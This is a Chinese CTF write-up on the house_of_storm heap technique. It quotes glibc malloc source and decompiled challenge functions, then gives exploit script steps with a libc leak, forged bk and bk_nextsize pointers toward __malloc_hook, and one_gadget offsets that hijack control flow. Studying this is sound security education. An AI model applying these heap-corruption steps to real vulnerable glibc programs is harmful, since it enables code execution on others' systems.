回顾基础
house_of_storm这一利用方法是Unsortedbin_Attack和Largebin_Attack两种打法相结合。
Unsortedbin_Attack
1 2 3
| bck = victim->bk unsorted_chunks(av)->bk = bck bck->fd = unsorted_chunks(av)
|
当修改unsortdbin的bk为Target_addr时,然后通过malloc将此unsortedbin分配出去时,就会发生上面三个步骤。
此时victim->bk就是Target_addr,然后第二步会将Target_Addr赋值到main_arena+88的bk处。
第三步将Target_addr的fd修改为main_arena+88。所以Target_addr+10处会被修改为一个超大值。
Largebin_Attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize;//1 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//2 } ... bck = fwd->bk; ... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;//3
|
首先看上面一部分,当修改largebin的bk_nextsize为Target_addr时,第四步会将Target_addr的fd_nextsize处(即Target_addr+0x20)修改为victim。
再看下面一部分,当修改largetbin的bk为Target_addr时,fwd(就是largebin),所以第五步就会将Target_addr的fd处(即Target_addr+0x10)修改为victim。
解释一下上面的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim);
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd;
if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
简单概括一下就是遍历unsortedbin中的每一个chunk,fastbins和smallbins都不满足分配,就会进入到largebin中。
进入到largetbin中判断此chunk属于largebin中的哪个index,每一个index都有一定的范围,进入到对应范围大小后,将此chunk的size和剩余的largebin的size大小进行比较,如果这个要加入unsortedbin的size大于原本链表中的chunk的size,就会将此chunk链入到原本chunk的前面(横链),如果大小相等就加入纵链。通过fd和bk与largebin相连
如果此时largetbin中的形式是:main_arena<----victim<----fwd---->main_arena
(左箭头为bk_nextsize,右箭头为fd_nextsize)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } ... bck = fwd->bk; ... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
题目
add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| unsigned __int64 add() { int v0; int v1; unsigned int v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); v0 = add_count--; if ( v0 != -1 ) { puts("idx:"); _isoc99_scanf("%d", &v3); if ( v3 >= 0xA ) { puts("error"); exit(0); } puts("size:"); _isoc99_scanf("%d", &chunk_size[v3]); if ( chunk_size[v3] != 1072 && chunk_size[v3] != 1088 && chunk_size[v3] != 1104 ) { puts("error"); exit(0); } v1 = v3; chunk[v1] = malloc(chunk_size[v3]); } return __readfsqword(0x28u) ^ v4; }
|
delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 dele() { int v0; unsigned int v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); v0 = dele_count--; if ( v0 != -1 ) { puts("idx:"); _isoc99_scanf("%d", &v2); if ( v2 >= 0xA ) { puts("error"); exit(0); } free(*((void **)&chunk + (int)v2)); } return __readfsqword(0x28u) ^ v3; }
|
edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| unsigned __int64 edit() { int v0; unsigned int v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); v0 = edit_count--; if ( v0 != -1 ) { puts("idx:"); _isoc99_scanf("%d", &v2); if ( v2 >= 0xA ) { puts("error"); exit(0); } puts("content:"); read(0, *((void **)&chunk + (int)v2), chunk_size[v2]); } return __readfsqword(0x28u) ^ v3; }
|
show函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 show() { int v0; unsigned int v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); v0 = show_count--; if ( v0 != -1 ) { puts("idx:"); _isoc99_scanf("%d", &v2); if ( v2 >= 0xA ) { puts("error"); exit(1); } puts(*((const char **)&chunk + (int)v2)); } return __readfsqword(0x28u) ^ v3; }
|
后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void *back_door() { void *result; void *buf;
result = (void *)flags; if ( !flags ) { buf = malloc(0x48uLL); read(0, buf, 0x40uLL); result = &flags; flags = 1; } return result; }
|
攻击思路
由于malloc只能创建largetbin大小的chunk,并且unsortedbin_attack和largebin_attack单独使用都是修改某处地址为不可控值,所以就需要利用两种攻击手法合并的house_of_storm了。
house_of_storm利用条件
1 2 3 4 5 6 7
| Glibc版本小于2.30(加入了检查链表完整性机制) 存在UAF漏洞使Unsorted Bin中的bk字段可控 存在UAF漏洞使Large Bin中的bk_nextsize和bk字段可控 可以申请一个如本题中Heap起始字节为0x55,经对齐后大小同为0x50的heap 构造一个位于Unsorted Bin中的FreeChunkA 构造一个位于Large Bins中的FreeChunkB 在最终的Large Bins大小分类中,FreeChunkA和FreeChunkB应属于同一大小分类,并且FreeChunkA略大于FreeChunkB,这样才能插入
|
由于存在UAF漏洞,所以很简单就能满足前三个条件。
因为有backdoor函数,当flag为0时,就可以有一次malloc(0x48)以及写功能。所以可以想到需要劫持到malloc_hook处的堆块。所以就需要利用house_of_storm来将malloc_hook处的chunk的chunk_head修改为对齐后大小为0x50的。这样malloc(0x48)就会申请出malloc_hook,然后利用read在onegadget处写入onegadget即可。
1 2 3 4 5 6 7 8 9
| add(0,0x450) add(1,0x430) add(2,0x440) add(3,0x430)
delete(2) delete(0) add(4,0x450) delete(4)
|
构造unsortedbin中的chunkA和largebin中的chunkB。并且chunkA略大于chunkB
1 2 3 4 5 6 7 8
| show(4) rl('\n') libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3c4b78 lg("libc_base",libc_base) malloc = libc_base+libc.sym['__malloc_hook'] onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
|
泄露libc
1 2
| edit(4,'/bin/sh\x00'+p64(malloc-0x20)) edit(2,p64(0)+p64(malloc-0x18)+p64(0)+p64(malloc-0x20-0x20+0x3))
|
修改unsortedbin的chunkA的bk为malloc_hook-0x20
。这样判断就会绕过unsortedbin中只剩一个chunk。就不会直接从unsortedbin中直接分配出0x50了(因为是根据unsortedbin中的bk指针判断的)
修改largetbin的chunkB的bk为malloc_hook-0x18
,修改bk_nextsize为malloc_hook-0x20-0x20+0x3
。这是通过错位正好能修改chunk_head的size为victim的0x55或0x56(对齐后为0x50即可)
修改后的unsortedbin
修改后的largebin
触发漏洞
由于开启了ALSR,所以不一定每次都是,需要多运行几次
触发前
触发后
如果成功申请到的话,就修改malloc_hook为onegadget即可
总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } ... bck = fwd->bk; ... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
利用条件
1 2 3 4 5 6 7
| Glibc版本小于2.30(加入了检查链表完整性机制) 存在UAF漏洞使Unsorted Bin中的bk字段可控 存在UAF漏洞使Large Bin中的bk_nextsize和bk字段可控 可以申请一个如本题中Heap起始字节为0x55,经对齐后大小同为0x50的heap 构造一个位于Unsorted Bin中的FreeChunkA 构造一个位于Large Bins中的FreeChunkB 在最终的Large Bins大小分类中,FreeChunkA和FreeChunkB应属于同一大小分类,并且FreeChunkA略大于FreeChunkB,这样才能插入
|
1 2 3 4
| unsortedbin->bk = target_addr-0x20 largebin->bk = target_addr-0x18 largebin->bk_nextSize = target_addr-0x20-0x20+0x3
|
unsortedbin要略大于largebin,并且两个chunk在largetbin中属于同一范围